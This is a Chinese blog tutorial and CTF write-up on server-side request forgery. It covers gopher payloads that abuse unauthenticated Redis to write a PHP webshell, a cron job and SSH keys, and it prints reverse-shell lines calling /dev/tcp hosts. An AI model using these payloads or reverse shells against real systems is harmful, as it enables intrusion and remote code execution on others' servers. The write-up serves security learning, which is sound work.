【安全】ssrf

ssrf

原理

服务端请求伪造,有一个参数可以接受一个网址在本地页面解析,但是没有进行过滤,所以可以进行操作。

在这里插入图片描述

ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端;原本访问外链资源不会有太大

的危害,但是curl支持很多协议(curl --version 可以查看其支持的协议),有FTP,FTPS,HTTP,HTTPS,GOPHER,TELNET,

DICT,FILE以及LDAP。

dict,file,gopher

在这其中特别是dict,file,gopher这三个协议容易被利用

1.dict,原本是个字典协议,可以探测内网端口,主要探测以下服务:

(1)fastcgi 可以实现RCE,未授权访问实现rce

(2)redis 6379 redis低版本中未授权访问(没有设置密码,没有开启安全模式)

​ --1–写入webshell 要知道物理路径

​ --2–写入任务计划 反弹shell

​ --3–写入公钥 直接登录服务器

2.file,读取内网文件

3.gopher,发送get,post请求

gopherus工具

这里有一个工具可以利用gopher协议来生成redis的ReverseShell/PHPShell,即gopherus。

如果获取不成功可以尝试下面操作

git config --global http.https://github.com.proxy http://10.100.186.105:7897
地址是你本机的内网地址,端口是你的代理软件开启的端口

克隆仓库
git clone https://github.com/tarunkant/Gopherus.git

进入Gopherus/目录下
cd Gopherus

给权限
chmod +x install.sh

执行安装脚本
sudo ./install.sh

由于此工具使用的是python2环境,安装时可能会报错,我们去安装一个python2环境即可。
参考:【Ubuntu20.04安装python2和python3及版本配置】http://t.csdnimg.cn/Wf5Qi

安装完成后即可使用

–1–写入webshell 要知道物理路径

在这里插入图片描述

解码后发现内容为如下内容:

gopher://127.0.0.1:6379/_*1         因为是通过ssrf,所以目标写的127.0.0.1:6379
$8                                  代表8个字符,即flushall
flushall                            清空整个 Redis 服务器的数据(删除所有数据库的所有 key )
*3                                  代表3个字段,即set,1,<?php phpinfo();
$3                                  下个字段长为3
set
$1
1
$20


<?php phpinfo();


*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

上述是redis的指令,相当于给redis中写入了一个数据;key为1,value为<?php phpinfo();
并且将内存中的这条数据落盘到了/var/www/html目录下的shell.php文件中保存

–2–写入任务计划 反弹shell

在这里插入图片描述

解码后发现内容为如下内容:

gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$66


*/1 * * * * bash -c "sh -i >& /dev/tcp/10.100.52.6/1234 0>&1"    每隔1分钟向10.100.52.6/1234上反弹一次shell



*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/                              写入任务计划的目录
*4
$6
config
$3
set
$10
dbfilename
$4
root                            会以root权限执行,反弹回来的shell也是root权限
*1
$4
save

–3–写入公钥 直接登录服务器

这个工具没有写入公钥的功能,需要自己操作

可以使用这个命令生成公钥私钥:
ssh-keygen -t rsa

生成在/root/.ssh/目录下

公钥复制到服务器的~/.ssh/authorized_keys文件中,即通过redis数据持久化写入

确保服务器的~/.ssh目录和~/.ssh/authorized_keys文件的权限设置正确:
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

免密登录:
ssh user@server

2月公开赛Web-ssrfme

【题目考查的技术点】

  • SSRF

  • redis未授权访问

  • SSRF攻击内网主机上的redis

【获取环境】

直接向已经拉取成功的同学要打包好的镜像

在这里插入图片描述

执行以下命令

在这里插入图片描述

在这里插入图片描述

【做题】

访问题目,发现源码直接给出

在这里插入图片描述

存在ssrf

进行如下测试,发现可以通过url来访问外部链接,存在ssrf

在这里插入图片描述

但是源码过滤了file协议、dict协议、127.0.0.1和localhost,无法探测端口;

目前还不知道当前主机的内网ip,但是源码提供了一个查看phpinfo的功能,可以访问phpinfo页面

查看phpinfo,如下图,可以看到当前主机的内网ip为 172.18.0.3:

在这里插入图片描述

没有过滤http协议和gopher协议,我们使用http协议进行探测,发现 172.18.0.3上只有80端口开放,没有3306,6379等端口开放

**注意:**存活主机探测和开放端口探测都可以用burp

然后探测该网段上存活的主机:

?url=http://172.18.0.1   # Apache2 Default Page,其实是一个陷阱,无法成功

在这里插入图片描述

?url=http://172.18.0.2   # 发现显示Go away,说明页面被操作过
?url=http://172.18.0.3   # 当前机器

在这里插入图片描述

当我们测试到 172.18.0.2 时,返回了“Go away”

说明172.18.0.2是内网中存活的另一台主机,并且上面也运行着http服务而且被操作过。但是当前还不能找到攻下这台内网主机的突破口,我们可以使用ssrf扫描一下这个内网主机的端口,这里使用burpsuite:

在这里插入图片描述

发现有6379端口,说明这台内网主机上还运行着redis服务。

redis 未授权访问攻击

接着我们便可以尝试 redis 未授权了,由于这台内网主机上还存在一个http服务,所以我们可以将webshell写入其web目录,然后用ssrf进行访问。

但是我们尝试发现不能直接在/var/www/html目录下写文件,可能是因为权限不够,我们使用burp扫一下当前目录下都有哪些目录,发现有个upload目录。

在这里插入图片描述

使用gopherus

在这里插入图片描述

注意,现在的目标主机是172.18.0.2,要更改一下IP;由于浏览器和gopher协议都会进行解码,所以要将生成的payload再次用url进行编码,然后发送过去:

gopher://172.18.0.2:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2527cat%2520/flag%2527%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A/var/www/html/upload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

发送paylaod后,会在这台内网主机的upload目录里写入一个shell.php

在这里插入图片描述

然后使用ssrf访问/var/www/html/upload/shell.php即可得到flag

http://172.19.81.231:8091/?url=http://172.18.0.2/upload/shell.php

在这里插入图片描述

也可以通过反弹shell来找flag

同样以上操作,会在这台内网主机的upload目录里写入一个shell.php,内容如下:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/172.19.81.231/1234 0>&1'"); ?>

监听端口

在这里插入图片描述

执行命令

在这里插入图片描述

如上可以看到成功反弹,并且成功执行了命令,拿到flag。

docker拉取时有两个地方可以加速

第一个:

在这里插入图片描述

第二个:

在这里插入图片描述

会优先第二个,但是第二个需要配置代理

在这里插入图片描述

  • 12
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值